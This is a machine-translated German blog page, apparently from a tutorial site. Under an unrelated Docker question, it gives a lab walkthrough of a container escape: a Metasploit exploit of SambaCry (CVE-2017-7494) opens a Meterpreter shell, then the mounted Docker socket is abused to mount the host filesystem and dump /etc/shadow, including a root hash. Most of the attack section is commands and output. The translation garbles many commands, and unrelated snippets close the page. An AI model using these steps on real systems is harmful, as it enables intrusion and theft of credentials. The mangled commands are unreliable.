Um zu vermeiden, dass für den Betrieb immer wieder der Docker-Container aufgerufen werden muss, kann eine Reihe von Anweisungen im Container vom Hostcomputer ausgeführt werden. Führen Sie das ausführbare Programm „printer“ im Verzeichnis /usr des CentOS-Containers (mit dem Namen centos-1) auf dem Hostcomputer aus (der Host des Autors ist Windows 7), und die Programmausgabe soll „123“ drucken.
Erfolg. Zusatzwissen: Unsicheres Deployment von Docker-Containern nutzen, um Host-Berechtigungen zu erhalten Vorwort Es gibt viele Möglichkeiten, Container zu missbrauchen und zu entkommen. In diesem Artikel wird die einfachste Möglichkeit erläutert: der Missbrauch des Docker-Sockets, um aus dem Container zu entkommen und Code als Root auf dem Host auszuführen. Einrichten einer experimentellen Umgebung Da wir Container verwenden, muss Docker installiert sein. Ein Netzwerk aufbauen Zuerst erstellen wir ein Docker-Netzwerk, in dem wir den Container erstellen:
Starten Sie den anfälligen Container In diesem Beispiel verwende ich einen Container, der von der SambaCry-Sicherheitslücke (CVE-2017-7494) betroffen ist. Weitere Informationen zur Sicherheitslücke finden Sie unter opsxcq/exploit-CVE-2017-7494. Diese Sicherheitslücke ermöglicht es Ihnen, Remote-Code auf dem Samba-Server auszuführen. Wir werden den Docker-Socket zum Container hinzufügen. Hier ist ein Beispiel für den Missbrauch von Docker. docker run --rm -it \ --name anfällig \ --network-pwnage \ -v '/var/run/docker.sock:/var/run/docker.sock' \ anfällige/cve-2017-7494 Starten Sie Angriffsflugzeuge Nachdem die Laborumgebung eingerichtet ist, müssen wir den Host des Angreifers zum Netzwerk hinzufügen. Im Samba Cry-Repository ist ein Exploit verfügbar, ich werde hier aber Metasploit verwenden, da es einfacher ist, das hochzuladen, was ich brauche. Ich habe hierfür ein Image erstellt. Führen Sie einfach den folgenden Befehl aus und alles wird wie für die Laborumgebung erforderlich ausgeführt: docker run --rm -it \ --network-pwnage \ -v '/usr/bin/docker:/docker:ro' \ strm/metasploit Nachdem der Ladevorgang abgeschlossen ist, wird die folgende Schnittstelle angezeigt. Angriffsausnutzung Informationssammlung Das Sammeln von Informationen ist ein wesentlicher Bestandteil jedes Angriffs oder Tests. Lassen Sie uns also zunächst den anfälligen Container anpingen, um die aktuelle Konnektivität zu überprüfen.
Wenn alles gut gegangen ist, sollten Sie die folgende Ausgabe sehen. msf5 > ping -c 2 anfällig [*] exec: ping -c 2 anfällig PING anfällig (172.20.0.2) 56(84) Bytes Daten. 64 Bytes von vulnerable.pwnage (172.20.0.2): icmp_seq=1 ttl=64 Zeit=0,120 ms 64 Bytes von vulnerable.pwnage (172.20.0.2): icmp_seq=2 ttl=64 Zeit=0,097 ms --- Statistiken zu anfälligen Pings --- 2 Pakete gesendet, 2 empfangen, 0 % Paketverlust, Zeit 1009 ms RTT min./avg./max./mdev. = 0,097/0,108/0,120/0,015 ms Anschließend führen wir eine grundlegende SMB-Freigabeaufzählung durch: Verwenden Sie Hilfsprogramme/Scanner/SMB/SMB_enumshares. Rhosts verwundbar machen laufen Die Ausgabe lautet wie folgt: msf5 > Hilfs-/Scanner-/SMB-/SMB_enumshares verwenden msf5-Hilfsrechner (Scanner/SMB/SMB_enumshares) > Rhosts anfällig machen rhosts => anfällig msf5-Hilfsgerät (Scanner/SMB/SMB_enumshares) > ausführen [+] 172.20.0.2:139 - Daten - (DS) Daten [+] 172.20.0.2:139 - IPC$ - (I) IPC-Dienst (Crying Samba) [*] anfällig: - 1 von 1 Hosts gescannt (100% vollständig) [*] Ausführung des Hilfsmoduls abgeschlossen Wie Sie sehen, gibt es auf diesem Samba-Server eine Freigabe mit dem Namen „Data“. Holen Sie sich eine Muschel Der nächste Schritt besteht darin, den Exploit auf dem Hostcomputer auszuführen, um eine Shell zu erhalten. In Metasploit hat die Schwachstelle den Namen is_known_pipename und befindet sich unter exploit/linux/samba/is_known_pipename. Führen Sie den folgenden Befehl aus, um den Host anzugreifen: verwenden Sie Exploit/Linux/Samba/is_known_pipename RHOST anfällig machen RPORT 445 einstellen Nutzlast festlegen Linux/x64/Meterpreter/bind_tcp ZIEL 3 festlegen SMB_FOLDER-Daten festlegen SMBUser sambacry festlegen setze SMBPass nosambanocry ausbeuten Wenn alles gut geht, erhalten Sie eine Meterpreter-Shell. wie folgt: msf5 > Exploit/Linux/Samba/is_known_pipename verwenden msf5-Exploit (Linux/Samba/is_known_pipename) > RHOST anfällig machen RHOST => anfällig msf5-Exploit (Linux/Samba/is_known_pipename) > RPORT 445 festlegen RPORT => 445 msf5-Exploit (Linux/Samba/is_known_pipename) > Nutzlast Linux/x64/Meterpreter/bind_tcp festlegen Nutzlast => linux/x64/meterpreter/bind_tcp msf5-Exploit (Linux/Samba/is_known_pipename) > Ziel 3 festlegen ZIEL => 3 msf5-Exploit (Linux/Samba/is_known_pipename) > SMB_FOLDER-Daten festlegen SMB_FOLDER => Daten msf5-Exploit (Linux/Samba/is_known_pipename) > SMBUser sambacry festlegen SMBUser => sambacry msf5-Exploit (Linux/Samba/is_known_pipename) > SMBPass „nosambanocry“ festlegen SMBPass => nosambanocry msf5-Exploit (Linux/Samba/ist_bekannter_Pipename) > Exploit [*] vulnerable:445 - Verwendet wird der Standort \\vulnerable\data\ für den Pfad [*] vulnerable:445 - Abrufen des Remote-Pfads der Freigabe „data“ [*] vulnerable:445 - Die Freigabe 'data' hat den serverseitigen Pfad '/data' [*] vulnerable:445 - Nutzlast nach \\vulnerable\data\shyyEPPk.so hochgeladen [*] vulnerable:445 - Laden der Nutzlast vom serverseitigen Pfad /data/shyyEPPk.so unter Verwendung von \\PIPE\/data/shyyEPPk.so... [-] vulnerable:445 - >> Fehler beim Laden von STATUS_OBJECT_NAME_NOT_FOUND [*] vulnerable:445 - Laden der Nutzlast vom serverseitigen Pfad /data/shyyEPPk.so unter Verwendung von /data/shyyEPPk.so... [-] vulnerable:445 - >> Fehler beim Laden von STATUS_OBJECT_NAME_NOT_FOUND [*] Bind-TCP-Handler für vulnerable:4444 gestartet [*] Sende Stage (816260 Bytes) an anfällige Meterpreter > Rechteausweitung Wir werden die Berechtigungen erhöhen, indem wir den im Container verfügbaren Docker-Socket missbrauchen. Da Docker auf dem Hostcomputer als Root ausgeführt wird, verfügt es auch über Root-Berechtigungen. Wir können dies missbrauchen, um mehrere Aktionen auszuführen. Beispielsweise kann uns die Verwendung der Option --privileged viele erweiterte Funktionen bieten. Nachfolgend finden Sie den Erklärungstext aus der offiziellen Docker-Dokumentation: Docker-Container verfügen standardmäßig über keine Berechtigungen. Beispielsweise können Sie keinen Container innerhalb eines Containers starten. Dies liegt daran, dass Container standardmäßig nicht auf andere Geräte zugreifen können. Durch die „Privilegien“ hat der Container jedoch die Möglichkeit, auf jedes andere Gerät zuzugreifen. Wenn der Operator docker run --privileged ausführt, hat Docker Zugriff auf alle Geräte auf dem Host. Gleichzeitig nimmt Docker auch einige Einstellungen in Apparmor oder Selinux vor, damit der Container problemlos auf Geräte zugreifen kann, die außerhalb des Containers ausgeführt werden. Sie können mit der Option --device auf Geräte zugreifen. Aber in diesem Beispiel werde ich das Toor-Dateisystem (/) in den Container zuordnen und darauf zugreifen. Da sich in diesem Container kein Docker-Client befindet, müssen wir als Nächstes den Docker-Client und seine Abhängigkeiten im Zielcontainer einrichten. Dies alles können Sie ganz einfach durch Ausführen des folgenden Befehls erledigen. hochladen /docker /docker Laden Sie /usr/lib/x86_64-linux-gnu/libltdl.so.7 hoch /usr/lib/x86_64-linux-gnu/libltdl.so.7 chmod 777 /docker chmod +x /docker Meterpreter > Hochladen /Docker /Docker [*] Hochladen: /docker -> /docker [*] Hochgeladen -1,00 B von 36,36 MiB (0,0 %): /docker -> /docker [*] Hochgeladen -1,00 B von 36,36 MiB (0,0 %): /docker -> /docker [*] Hochgeladen -1,00 B von 36,36 MiB (0,0 %): /docker -> /docker [*] Hochgeladen -1,00 B von 36,36 MiB (0,0%): /docker -> /docker [*] Hochgeladen -1,00 B von 36,36 MiB (0,0%): /docker -> /docker [*] hochgeladen: /docker -> /docker Meterpreter > Hochladen von /usr/lib/x86_64-linux-gnu/libltdl.so.7 /usr/lib/x86_64-linux-gnu/libltdl.so.7 [*] Hochladen: /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7 [*] -1,00 B von 38,47 KiB (-0,0 %) hochgeladen: /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7 [*] hochgeladen: /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7 Meterpreter > chmod 777 /Docker meterpreter > chmod +x /docker Meterpreter > Jetzt können wir Docker verwenden, um auf das Dateisystem auf dem Hostcomputer zuzugreifen. \
Lassen Sie uns den Hash des lokalen Benutzers ausgeben. Die Ausgabe lautet wie folgt: meterpreter > ausführen -f /docker -i -H -c -a "ausführen --rm -v '/:/rootfs' debian:9.2 cat /rootfs/etc/shadow" Prozess 113 erstellt. Kanal 13 erstellt. Wurzel:$1$UFKdtFGw$qp29y1qGWit/vnvIG0uSr1:17488:0:99999:7::: daemon:*:17488:0:99999:7::: bin:*:17488:0:99999:7::: sys:*:17488:0:99999:7::: Synchronisierung:*:17488:0:99999:7::: Spiele:*:17488:0:99999:7::: Mann:*:17488:0:99999:7::: lp:*:17488:0:99999:7::: mail:*:17488:0:99999:7::: Nachrichten:*:17488:0:99999:7::: Der obige Artikel zum Ausführen einer Shell oder eines Programms in einem Docker-Container auf dem Host ist alles, was ich mit Ihnen teilen kann. Ich hoffe, er kann Ihnen als Referenz dienen, und ich hoffe auch, dass Sie 123WORDPRESS.COM unterstützen werden. Das könnte Sie auch interessieren:
|
>>: Eine vollständige Liste der Meta-Tag-Einstellungen für Mobilgeräte
Frage: Beim Installieren Nginx in Docker ist der ...
1. scale()-Methode Zoom steht für „Verkleinern“ u...
Inhaltsverzeichnis 1. Beschreibung der Funktionen...
Vorwort In MySQL verwenden sowohl Innodb als auch...
Mussten Sie schon einmal sehr große Datenmengen (...
Als ich heute die Anmeldeseite geschrieben habe, ...
Methode 1: Verwenden Sie den Befehl SET PASSWORD ...
Hintergrund Bei der Data-Warehouse-Modellierung w...
Code: Code kopieren Der Code lautet wie folgt: <...
Inhaltsverzeichnis Anforderung: Abfrage laufender...
1. Installieren Sie Oracle. Im Internet gibt es z...
Vorwort In letzter Zeit habe ich Kunden dabei geh...
Grundlegende Einführung Im vorherigen Artikel hab...
In diesem Artikel wird hauptsächlich die Vollbild...
Inhaltsverzeichnis Erstellen von Zahlungsmethoden...